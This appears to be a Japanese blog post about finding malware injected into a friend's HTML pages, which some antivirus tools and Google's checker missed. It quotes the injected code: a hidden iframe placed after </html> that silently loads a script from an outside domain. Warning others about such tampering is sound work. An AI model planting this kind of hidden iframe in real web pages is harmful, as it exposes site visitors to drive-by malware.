やっかいなマルウェア

MaAfee、トレンドマイクロ、ノートンなどの有名ウィルスソフトでも認識されないマルウェアがあるようです。

インターネットウィルスは自然界のインフルエンザに似ていて、常に進化し、それに対するワクチンを開発するように、対策が後手になります。

ケチなので私のPCは無料のAVASTでウィルス対策をしています。ところが、先日AVASTがトロイの木馬を検知しましたと、ある知人のURLにアクセスした際に警告を出しました。

知人はウイルスバスタが常時起動していて問題なくページを表示できると言うので、また、AVASTが誤認識したのだとその時は思いました。 念のため、FTPでデータのデイトスタンプをチェックしてみると、半年以上更新していないＨＴＭＬファイルがすべて1週間前の日付でアップデートされていました。


この2年間、Ｗｏｒｄｐｒｅｓｓのphpファイルへの改ざん対策でうんざりしていましたが、どうやら、これは新手の改ざんではないか？？？

いずれにしてもhtmlへの改ざんは初めてでした。しかも、Ｇｏｏｇｌｅのウェブマスターツールのマルウェア検知で、問題なしでした。

これは改ざんであっても無害なのか？？？
FTPでもファイルの中身を見ることができない。
一体、どんな改ざんがあるのだろう？？？

検索しても日本のサイトではこの現象は見当たらない。satan.phpの時もそうでした。

数日後、たまたま、英語サイトでオンラインチェックできるページを見つけました。

http://sitecheck.sucuri.net/scanner/

ここで知人のドメインを入力すると下記のマルウェアがあることがわかりました。

</html><iframe src="http://autopd.de/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/

どうやらautopd.deも改ざんされているようで、こんどはautopd.deチェックすると

ロシアのURLらしき記述が多数見つかりました。

Wordpressでの改ざんパターンに似ていますが、違いは「問題なし」で サイトへのアクセスが許可されていることです。